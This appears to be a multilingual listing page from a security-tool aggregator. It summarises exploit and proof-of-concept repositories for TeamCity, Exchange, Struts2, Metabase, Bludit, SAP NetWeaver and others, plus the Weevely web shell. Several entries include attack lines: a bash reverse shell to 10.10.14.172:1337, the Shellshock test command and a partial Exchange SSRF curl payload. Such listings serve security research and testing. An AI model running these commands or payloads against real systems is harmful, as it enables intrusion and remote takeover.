CVE-2023-42793

root@kitploit: مسح جماعي python teamcityscan.py -f targets.txt -o results.txt هدف واحد python teamcityscan.py -u http://target.com:8111 -o result.txt تحديد عدد الخيوط python teamcityscan.py -f urls.txt -t 20 -o vuln.txt تنسيق ملف الأهداف targets.txt: root@kitploit: http://192.168.1.100:8111...

llm-differential-privacy-gateway

Noisegate: a differential-privacy gateway for untrusted AI agents An AI agent that can study sensitive data without being able to single anyone out. The limit is mathematical, it's enforced in code the agent can't reach, and the repo ships the attacks that try to break it. A recorded Claude Deskt...

MADLIRA

MADLIRA एंड्रॉइड के लिए लर्निंग और सूचना पुनर्प्राप्ति का उपयोग करके मैलवेयर का पता लगाना अवलोकन MADLIRA एंड्रॉइड मैलवेयर का पता लगाने के लिए एक उपकरण है। इसमें दो घटक होते हैं: TFIDF घटक और SVM लर्निंग घटक। सामान्य तौर पर, यह इनपुट के रूप में मैलवेयर और बेनवेयर का एक सेट लेता है और फिर...

autossrf

सारांश autoSSRF बड़े पैमाने पर SSRF कमजोरियों की पहचान करने में आपका सबसे अच्छा सहयोगी है। अन्य SSRF ऑटोमेशन टूल से अलग, यह निम्नलिखित दो मूल विशेषताओं के साथ आता है: प्रासंगिक SSRF GET पैरामीटर्स पर स्मार्ट फ़ज़िंग फ़ज़िंग करते समय, autoSSRF केवल SSRF से संबंधित सामान्य पैरामीटर्स ?url=, ?uri=,...

CVE-2014-6271

CVE-2014-6271 bash को ठीक करने का एक स्वचालित तरीका कमजोरी के लिए परीक्षण आप निम्नलिखित परीक्षण चलाकर निर्धारित कर सकते हैं कि आप कमजोर हैं या नहीं: env x=' :;; echo vulnerable' bash -c 'echo hello' कमजोरी को ठीक करना इसे कमांड लाइन पर चलाएं। आपसे अपना पासवर्ड दर्ज करने के लिए कहा जा सकता है। bas...

struts2_cve-2017-5638

struts2cve-2017-5638 هذا نوع من التحويل إلى Java لاستغلال Python الموجود في: https://www.exploit-db.com/exploits/41570/. هذا البرنامج مكتوب بحيث لا يحتوي على أي تبعيات خارجية. إخلاء المسؤولية هذه الأداة مخصّصة لمهندسي الأمن ومتخصصي أمن التطبيقات AppSec لإجراء تقييمات أمنية. يرجى استخدام هذه الأدا...

CVE-2025-55182POC

CVE-2025-55182 React Server Components RCE POC هذا المشروع هو إثبات المفهوم لـ CVE-2025-55182 - React Server Components RSC RCE ، ويوضح أنه في ظل ظروف معينة يمكن تشغيل تنفيذ الأوامر عن بُعد عبر vm.runInThisContext مع ACTION payload الخبيثة. جانب Python: إرسال تلقائي لـ ACTION payload الخبيثة وتحل...

imR0T

imR0T क्रिप्टोग्राफी imR0T: अपने व्हाट्सएप संपर्क को एक त्वरित संदेश सरल पाठ एन्क्रिप्शन के साथ भेजें, और मूल रूप से ROT13 में ASCII और प्रतीक प्रतिस्थापन पर आधारित नए मल्टी एन्क्रिप्शन एल्गोरिदम के साथ दान करें यदि यह प्रोजेक्ट आपके पेनिट्रेशन टेस्टिंग में बहुत सहायक है और आप मेरा समर्थन करना...

CVE-2001-0680

CVE-2001-0680 ثغرة اجتياز الدليل في ftpd في QPC QVT/Net 4.0 و AVT/Term 5.0 منشور Packetstorm على https://packetstormsecurity.com/files/24931/alt3kx-advisories-2001.txt.html منشور Securiteam على http://www.securiteam.com/windowsntfocus/5IP0G2040Q.html المؤلف Alex Hernandez المعروف بـ @alt3kx...

refresh

ताज़ा करें यह कंटेनर F5 राउटर में CVE-2022-1388 की कमजोर कार्यक्षमता का अनुकरण करता है, जो RCE की अनुमति देता है। CVE-2022-1388 विभिन्न प्रमाणीकरण तंत्रों और broxying के बीच एक जटिल संबंध से उत्पन्न होता है, जिसने हेडर्स को हटा दिया, जिससे वेबऐप में एडमिन एंडपॉइंट्स तक अनुचित पहुंच की अनुमति मिली...

GitMiner

⚠️ Dépôt obsolète — Projet remplacé Ce dépôt n'est plus maintenu et a été officiellement déprécié. Le projet continue son développement actif à l'adresse : https://github.com/unkl4b/Gitminer3 Veuillez migrer vers GitMiner3 pour accéder aux dernières mises à jour, améliorations et au support actif...

cms-made-simple-python3

CMS Made Simple – مجموعة أدوات الاستغلال مجموعة من النصوص البرمجية والملاحظات والاستغلالات الجاهزة لـ Python3 لنظام CMS Made Simple CMSMS ، بما في ذلك الاستغلال الشهير حقن SQL أعمى غير مصادق عليه – CVE-2019-9053. هذا المستودع من إنشاء وصيانة Encrypticle Jagdeep Singh كجزء من أبحاثي في الأمن...

CVE-2021-26855_PoC

CVE-2021-26855PoC حمولات SSRF المبكرة الخاصة بي CVE-2021-26855 على Exchange Server 2019... Payload 1 root@kitploit: curl -i -s -k -X $'GET' -H $'Host: ' -H $'User-Agent: alex666' -H $'Connection: close' -b $'X-AnonResource=true;...

CVE-2018-8097

CVE-2018-8097 PoC यह एक सरल पायथन प्रूफ ऑफ कॉन्सेप्ट स्क्रिप्ट है जो CVE-2018-8097 को प्रदर्शित करता है, जो PyEve लाइब्रेरी के संस्करण 0.7.5 को प्रभावित करता है। उपयोग root@kitploit: usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL...

Metabase-Pre-Auth-RCE-POC

CVE-2023-38646 — Metabase रिमोट कोड निष्पादन RCE प्रूफ-ऑफ-कॉन्सेप्ट अवलोकन यह भंडार एक प्रूफ-ऑफ-कॉन्सेप्ट PoC सुरक्षा अनुसंधान परियोजना का दस्तावेजीकरण करता है जो CVE-2023-38646 का विश्लेषण करता है, जो Metabase के कमजोर संस्करणों को प्रभावित करने वाली एक महत्वपूर्ण प्री-ऑथेंटिकेशन रिमोट कोड...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 تنفيذ أوامر عن بعد مع المصادقة الاستخدام python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" مثال...

PrestaShop-CVE-2018-19126

تنفيذ التعليمات البرمجية عن بُعد في الواجهة الخلفية لـ PrestaShop CVE-2018-19126 هذا هو إثبات المفهوم PoC لـ CVE-2018-19126، والذي يجمع ثغرات متعددة في الواجهة الخلفية لـ PrestaShop لإطلاق إلغاء التسلسل عبر phar لتحقيق تنفيذ التعليمات البرمجية عن بُعد. المتطلبات الأساسية: PrestaShop 1.6.x قبل...

CVE-2018-11235-PoC

PoC-эксплойт для CVE-2018-11235 root@kitploit: repository: http://REDACTED/2018-11235PoC.git/ return: Submodule 'aaa' https://repo1 registered for path 'aaa' Submodule '../../fakegit/modules/evil' https://repo2 registered for path 'evil' Submodule path 'aaa': checked out...

CVE-2025-31324_PoC_SAP

CVE-2025-31324PoC إثبات المفهوم لـ CVE-2025-31324: رفع غير مصادق عليه في SAP NetWeaver Visual Composer Metadata Uploader ينفّذ هذا السكربت: 1. رفع ملف إلى النقطة المعرّضة عبر Upload host/port 2. تشغيل اختياري عبر HTTP GET عبر Trigger host/port 3. تحقق أساسي من الاستجابة/تسجيل مثال على الاستخدام:...